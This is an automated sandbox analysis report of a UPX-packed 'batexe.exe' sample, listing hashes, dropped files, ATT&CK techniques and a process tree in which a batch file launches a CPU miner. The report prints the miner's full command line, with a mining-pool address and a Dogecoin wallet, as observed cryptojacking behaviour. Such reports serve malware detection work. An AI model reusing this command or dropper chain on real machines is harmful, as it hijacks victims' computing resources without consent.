73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
303s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
23/02/2024, 19:21

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3792	b2e.exe
1664	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1664	cpuminer-sse2.exe
1664	cpuminer-sse2.exe
1664	cpuminer-sse2.exe
1664	cpuminer-sse2.exe
1664	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1332-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1332 wrote to memory of 3792	1332	batexe.exe	74
PID 1332 wrote to memory of 3792	1332	batexe.exe	74
PID 1332 wrote to memory of 3792	1332	batexe.exe	74
PID 3792 wrote to memory of 4876	3792	b2e.exe	75
PID 3792 wrote to memory of 4876	3792	b2e.exe	75
PID 3792 wrote to memory of 4876	3792	b2e.exe	75
PID 4876 wrote to memory of 1664	4876	cmd.exe	78
PID 4876 wrote to memory of 1664	4876	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1332
- C:\Users\Admin\AppData\Local\Temp\ADC4.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\ADC4.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\ADC4.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3792
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B268.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4876
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\ADC4.tmp\b2e.exe

Filesize
8.8MB

MD5
b898d5a3f9ee6358b77ff766ef16e635

SHA1
4bd5722962727bf3ddc9ba6d848ac4786e5d837d

SHA256
47350731b84eca46584c95d8a361ab7f1dde01249c94234392fe213f2f357dc7

SHA512
469c6a02a5b252ae705b5ed5005068260f23a5733723149a23552a02d56e66025f95856788710f8d973679c8bdddf2a5af79388566201875710f221f9c3a3cd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\ADC4.tmp\b2e.exe

Filesize
3.7MB

MD5
1159e61025af4499c4aee245391fbaa7

SHA1
6941af22b356ba5b630cd97791029006a9ac5fa4

SHA256
09acfb4f01e9780934a8a94c5fc693816d92723dbcad062494742a9d0168ce8e

SHA512
4413550ea82a8f3ffccb42094a208abfc0c4b033e646e7766ed6610e82eadceec6961af17c5302770a3cfa7185b72e9170a0f21de157628c4f7303cb03c452bf

Download Submit
C:\Users\Admin\AppData\Local\Temp\B268.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
d80b98cad14ab7d8ad49bdea10bf6f78

SHA1
e36f47025de04864ea3233b946593dc46c7588dd

SHA256
87fef499779eccf1270b3f4b1b875f43ef9085178f27475affd5310df78ece4b

SHA512
bc5b18eca17a407e1eb233ebd14921a3150e77362ee337dbdb730fd4462e836553f5eefa6c484e1dadcf52e6fc2683dab7b9e2b2182d9b5fa939e48dbc6a8688

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
6a77f77e12e8001f7cd55a43a6647624

SHA1
2c4ca827787153247df11af201d8f1b1b412d127

SHA256
aa70ef5a2ff2c2e463d2f6497c61618a1b126dd03f5eba72cd7561180a03689e

SHA512
fb3d0759a1285f29fe1ae3d045df76dd07303b9b9f97632b849f5e2b2aa4b141f3ffd8692a0ffdff19adc7f517b4e2dc8c005f30f2d1f74718e28fcba7e8922a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
e996171118851ae5747b946f8eecd2b0

SHA1
2ca1dc32df7a1262b535137ad236f120c74ec54e

SHA256
ba435bc42e48b6b6c81d13a3fdaa8fbeac07cfe402ce328698ff07ec847e156e

SHA512
15d5f5fe70d349d14c81b1f618b8b7672b53c377a0af90e6221aab6fa5f7badd0ef0709400050e65c7ae0ddaf90bad06f22ffdd3f10815bf60290f2d6983eb64

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.1MB

MD5
2b21d98b470eaa1e9333f52f13eee54b

SHA1
7859607d8004999748e748771111d79b0f49cc33

SHA256
09103a0b454836dd86f6f9654e87228b016c301133c3a6f3cbf1d99c7068b522

SHA512
283371f7a5f2b1740764f8ec09f5858ec89d88dd7fcb3d8e7b17a2cdf4c3c6763ef92e588af643a7e4db0c83006c541562fd114858274ffd2e70ae23fa13b44f

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
952cf9c1c9be72c2375e13cf518f1eb8

SHA1
12e133ab6e333726ca2b047d8b0f44db463ff0de

SHA256
1d21d4eff55eb52c29c48cbd3f68942f53b5d7f9b84cd2e5c100d2b792417c19

SHA512
c4ccb8985b9a81e03624f1fc4326ed696a16418754aeb55435e98cd9ccb42b55c7207c082803da5b145fdb68108e53bd0b9946e6b8380a58e0306f79da590631

Download Submit
memory/1332-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1664-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1664-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1664-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1664-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1664-43-0x000000005C560000-0x000000005C5F8000-memory.dmp

Filesize
608KB

Download
memory/1664-44-0x0000000001040000-0x00000000028F5000-memory.dmp

Filesize
24.7MB

Download
memory/1664-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1664-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1664-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1664-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1664-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1664-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1664-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1664-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1664-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3792-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3792-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download